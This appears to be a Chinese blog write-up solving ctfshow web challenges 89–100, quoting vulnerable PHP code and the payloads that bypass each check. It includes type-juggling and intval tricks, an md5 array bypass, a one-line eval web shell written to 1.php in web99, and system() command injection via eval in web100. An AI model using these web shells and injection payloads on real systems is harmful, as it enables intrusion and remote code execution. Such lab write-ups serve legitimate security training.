ctfshow之web入门-php特性89-100

web89

if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }

不能是数字但又必须是数字
在intval()函数中, 空的 array 返回 0,非空的 array 返回 1。

?num[]

web90

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

该博客写的十分具体https://blog.csdn.net/weixin_45785288/article/details/111085520
如下的结果都为4476

intval('4476.0')    小数点  
intval('+4476.0')  正负号
intval('4476e0')    科学计数法
intval('0x117c')    16进制
intval('010574')    8进制
intval(' 010574')   8进制+空格

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
/i   #不区分大小写
/m   #换行匹配

直接用url编码绕过/m

ctfshow{21100577-eb04-4b0f-8337-36636326cab8}

web92

用十六进制绕过

?num=0x117c

web93

限制了字母,用八进制绕过

?num=010574

web94

不让用八进制绕过了,使用小数点

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
?num=4476.0

web95

过滤了小数点,

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

使用intval(’ 010574’) 8进制+空格

?num=%20010574

web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

查看当前文件夹下的flag.php

?u=./flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

有两种解法
解法一:md5()函数无法处理数组,传入的数组会返回NULL

a[]=1&b[]=2

在这里插入图片描述
第二种方法:MD5碰撞
很遗憾没实现,一直报URI malformed有小伙伴知道怎么做的可以评论一下

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';                                #如果存在get请求,post就覆盖get
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';              
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);#GET传参HTTP_FLAG的值为flag

?>

由此构造POST

HTTP_FLAG=flag

随便GET一个东西,POST构造好的内容,得到flag
在这里插入图片描述

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);}
?>

查看in_array() 函数用法
in_array() 函数搜索数组中是否存在指定的值。
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。

in_array(search,array,type)

在这里插入图片描述
说明
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
如果没有在数组中找到参数,函数返回 false。
注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。
此处是弱类型
新加进去的随机数字每次都包含1,1存在的几率是最大的。

get:
?n=1.php
post:
content=<?php eval($_POST[1]);?>

在这里插入图片描述

访问1.php
提交shell命令
在这里插入图片描述
tac一下得到flag

WEB100

$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}

part1

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

只要v1=1就可以进入下一部分
part2
构造v2与v3,该题没有过滤shell,直接获取

?v1=1&v2=system("ls")&v3=;

?v1=1&v2=var_dump(get_class_vars(‘ctfshow’))&v3=;

可惜最后结果想不到怎么转换在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值